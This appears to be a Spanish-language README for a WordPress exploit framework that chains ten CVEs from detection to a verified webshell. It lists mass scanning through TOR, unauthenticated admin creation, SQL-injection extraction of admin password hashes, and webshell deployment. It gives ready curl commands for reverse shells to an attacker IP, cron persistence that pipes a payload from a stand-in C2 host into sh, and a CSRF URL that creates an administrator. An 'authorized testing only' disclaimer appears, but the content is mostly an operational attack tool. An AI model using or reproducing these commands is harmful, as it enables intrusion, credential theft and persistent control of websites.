
WordPress All-in-One Exploit Framework — detector, escáner, enumerador, exploit, escalada. 10 CVEs de la oleada de 2026-08, incl. CVE-2026-63030 (wp2shell).
Framework de explotación todo en uno para WordPress — Detector · Escáner · Enumerador · Explotación · Escalada
wp2exp_2026 es el sucesor renombrado y probado en combate del framework wp2shell. Combina la cadena original de verificación/explotación de wp2shell, tres kits de PoC públicos para el CVE-2026-63030 (Ch4120N, shinthink, SentinelX) y la ola de CVEs de WordPress de agosto de 2026 extraída de NVD / GitHub Advisories / CISA KEV mediante el pipeline de inteligencia de la darkweb TOR — en un único script que recorre un objetivo desde la toma de huella pasiva hasta un webshell verificado.
┌──────────┐ ┌──────────┐ ┌───────────┐ ┌───────────┐ ┌──────────┐
│ DETECTOR │ -> │ SCANNER │ -> │ ENUMERATOR│ -> │ EXPLOIT │ -> │ ESCALATE │
│ 10 CVEs │ │ version/ │ │ users/ │ │ admin │ │ webshell │
│ probes │ │ WAF/XMLRPC│ │ plugins │ │ create/ │ │ rev shell │
└──────────┘ └──────────┘ └───────────┘ └───────────┘ └──────────┘
⚠️ SOLO PRUEBAS AUTORIZADAS. El modo
scanno es destructivo. Los modos de explotación requieren explícitamente--mode. Eres responsable de tener permiso por escrito para cada objetivo.
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026
# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks
Sin claves de API, sin base de datos, sin compilación.
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com
# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit
# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell
# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10
# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
[--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
[--timeout N] [--threads N] [--json] [-o OUTPUT]
scan — Detector + Escáner + Enumerador (seguro)No destructivo. Úsalo primero en cualquier objetivo.
Qué hace, en orden:
Ejemplo:
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts
exploit — Escaneo + ExplotaciónTodo lo de scan, además de:
Ejemplo:
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
--verify — Autocomprobación del entornoValida el entorno antes de cualquier escaneo: Python ≥3.8, disponibilidad de PySocks (SOCKS5/TOR), alcance del proxy (si se establece --proxy), integridad de la matriz de CVE, correcto funcionamiento del analizador de versiones.
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
shell — Cadena completa hasta WebshellTodo lo de exploit, más escalada: si la creación del administrador tiene éxito, el script:
wp-login.php (cookie jar)_wpnonce del editor de temas + el tema activo → escribe el webshell mediante admin-ajax.php?action=edit-theme-plugin-fileupdate.php?action=upload-plugin, lo activaid a través del shell — imprime la salida en vivo del comandoTipos de webshell (--shell):
Ejemplo:
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
Uso manual del shell después de una ejecución exitosa:
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'
# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'
# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'
# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — ruta registrada sin middleware de autenticación; el token es el base64 sin procesar de la ruta relativa (falsificable). Las versiones corregidas usan un UploadFileToken firmado.reauth_for_authorize coincidía con /mcp/v1/oauth/authorize mediante una prueba de subcadena contra REQUEST_URI incluyendo la cadena de consulta. Añade &x=/mcp/v1/oauth/authorize a cualquier solicitud REST para restaurar la identidad completa del usuario de la cookie. CSRF clásico: un administrador que visita la URL manipulada crea una cuenta de atacante.
https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
wpcf7_verify_nonce => __return_true → los envíos de CF7 no necesitan nonce; envía un campo de archivo que contenga ../../../../wp-config.php y la acción de integración (webhook/email) exfiltra el archivo.El script se construyó a partir de inteligencia recopilada por el pipeline TOR darkweb-intel (raspado de CVEs recientes de NVD, GitHub Advisories, CISA KEV) y admite escaneo anónimo:
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5
# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)
Comportamiento verificado: el enrutamiento del proxy confirmado contra check.torproject.org/api/ip → {"IsTor":true} a través del nodo de salida 192.42.116.45.
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json
# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
Estructura del informe:
{
"target": "https://example.com",
"version": "7.0.1",
"waf": "Cloudflare",
"xmlrpc": true,
"users": [{"id": 1, "name": "admin", "slug": "admin"}],
"plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
"core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
"cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
"exploitation": {
"wp2shell_admin": {"success": true, "username": "...", "password": "..."},
"shell": {"success": true, "shell_url": "...", "key": "..."},
"mapster_posts": [...]
}
}
Validado el 2026-08-04 contra un laboratorio de WordPress vulnerable emulado — batería de QA: 32/32 comprobaciones SUPERADAS (todos los modos, pureza del JSON, multiobjetivo, normalización de host sin prefijo, fuga de borrador/privado de Mapster, extracción por SQLi de la versión de la base de datos + hash del administrador, cadena completa de shell):
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
exploit (--sqli-info)--verifydarkweb_intel.pySe aceptan PRs. Mantén los payloads no destructivos por defecto.
MIT. Solo compromisos autorizados. Nunca ejecutes --mode exploit / --mode shell contra activos que no poseas o para los que no tengas permiso por escrito para probar. Los autores no son responsables del mal uso.
| Argumento | Por defecto | Descripción |
|---|
targets | — | Una o más URLs base (https://site.com o site.com sin prefijo) |
-f, --file | — | Archivo con un objetivo por línea (se permiten comentarios #) |
--mode | scan | scan = solo detección · exploit = escaneo + explotación · shell = escaneo + exploit + webshell |
--shell | mini | Tipo de webshell: mini (ejecución en una línea) o full (gestión de archivos / descarga / reverse shell / persistencia por cron) |
--mapster-dump | 0 | Volcar N IDs de entradas mediante CVE-2026-14839 (0 = deshabilitado) |
--sqli-info | off | Extraer db_version / siteurl / hash de contraseña del administrador / prefijo de tablas mediante SQLi (CVE-2026-60137) |
--verify | off | Autocomprobación del entorno (python, PySocks, alcance del proxy, matriz de CVE, analizador de versiones) y salir |
--proxy | — | Proxy HTTP o SOCKS5: socks5h://127.0.0.1:9050 (TOR) |
--timeout | 15 | Tiempo de espera por solicitud (segundos) |
--threads | 5 | Objetivos en paralelo (solo se usa con múltiples objetivos / -f) |
--json | — | Imprimir informe JSON legible por máquina en stdout |
-o, --output | — | Escribir informe JSON completo en un archivo |
| # | Etapa | Comprobaciones |
|---|
| 1 | Huella digital | Versión de WordPress mediante el generador de /feed/, /readme.html, meta generador, generador de la API REST — marca si la versión se encuentra dentro del rango vulnerable de wp2shell (6.9.0–6.9.4, 7.0.0–7.0.1) |
| 2 | Detección de WAF | Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 a partir de cabeceras + marcadores en el cuerpo |
| 3 | XMLRPC | Sonda system.listMethods → marca la superficie de fuerza bruta multicall y SSRF por pingback |
| 4 | Enumeración de usuarios | REST /wp-json/wp/v2/users + respaldo ?rest_route= + archivo de autor (?author=N) |
| 5 | Enumeración de plugins | Stable tag de readme.txt para los 8 plugins monitoreados — marca versiones vulnerables según la matriz de CVE |
| 6 | Sonda wp2shell | Sonda segura de desincronización por lotes (CVE-2026-63030) — envía un cebador malformado + DELETE benigno a una categoría inexistente; busca marcadores de secuestro de handler (parse_path_failed, block_cannot_read, rest_batch_not_allowed) |
| 7 | Comprobaciones de CVE | Sondas de comportamiento en vivo + comprobaciones de versión para los 10 CVE (ver tabla abajo) |
| Exploit | Condición | Qué ocurre |
|---|
| Creación de administrador sin autenticación | wp2shell VULNERABLE | Intento 1: el payload de confusión de rutas en el batch lanza POST /wp/v2/users con roles:["administrator"]. Intento 2 (respaldo): cadena de envenenamiento de caché oEmbed por SQLi (shinthink) — inyecta mediante unión un customize_changeset para secuestrar la caché oEmbed y crear un administrador. Imprime username / password en caso de éxito |
| Extracción de información por SQLi | --sqli-info | Extracción basada en error/unión (CVE-2026-60137): db_version, siteurl, hash user_pass del primer administrador, prefijo de tablas |
| Volcado de contenido Mapster | --mapster-dump N | Enumera IDs de entradas 1..N mediante /wp-json/mapster-wp-maps/feature?id=N, recolectando títulos de entradas en borrador / pendientes / privadas / en la papelera + contenido completo (CVE-2026-14839) |
| Tipo | Características |
|---|
mini | ?k=KEY&c=COMMAND → salida de comandos en texto plano |
full | a=cmd ejecución · a=upload escritura de archivos (b64) · a=download lectura de archivos · a=rev reverse shell (h=HOST&p=PORT) · a=persist persistencia por crontab (u=URL) · phpinfo() por defecto |
| CVE | Objetivo | CVSS | Clase | Detección | Explotación |
|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4, 7.0.0–7.0.1 | 9.8 | Confusión de rutas en REST batch → RCE | ✅ sonda de marcadores de desincronización | ✅ creación de admin + shell |
| CVE-2026-60137 | WP Core (mismo rango) | 5.9 | SQLi author__not_in | ✅ versión + marcador | ✅ vía cadena 63030 |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | Eliminación no autenticada de archivos arbitrarios | ✅ sonda DELETE en vivo | ✅ file_token b64 falsificable |
| CVE-2026-13596 | Participants DB < 2.7.8.4 | 9.1 | SQLi no autenticada (búsqueda en listado) | ✅ sonda de fuga de errores | ⚠️ manual (ciega) |
| CVE-2026-15414 | Subscriptions for WooCommerce ≤ 2.0.0 | 8.8 | Escalada de privilegios _wps_plan_user_role | ✅ versión | ✅ documento de cadena |
| CVE-2026-15988 | AI Engine ≤ 3.6.5 | 8.8 | CSRF → creación de administrador | ✅ sonda de namespace | ✅ generador de URLs PoC |
| CVE-2026-15450 | Nex Forms Lite ≤ 9.2.3 | 8.1 | Eliminación autenticada de archivos arbitrarios | ✅ versión | ✅ documento de cadena |
| CVE-2026-15006 | Bit Integrations ≤ 2.9.0 | 7.5 | Traversal no autenticado (bypass de nonce CF7) | ✅ versión | ✅ documento de cadena |
| CVE-2026-14839 | Mapster WP Maps < 1.24.0 | 7.5 | Volcado no autenticado de entradas privadas/borrador | ✅ sonda en vivo | ✅ --mapster-dump |
| CVE-2026-15052 | MailChimp Subscribe ≤ 4.3.3 | 7.2 | XSS almacenado no autenticado | ✅ versión | ✅ documento de cadena |
insert_record() almacena una location de archivo influenciada por el atacante, luego delete_file() llama a unlink($file) sin validación de realpath()/lista blanca.save_meta_boxes() persiste _wps_plan_user_role desde $_POST; solo se aplican sanitize_key() + is_role() — ambos aceptan administrator.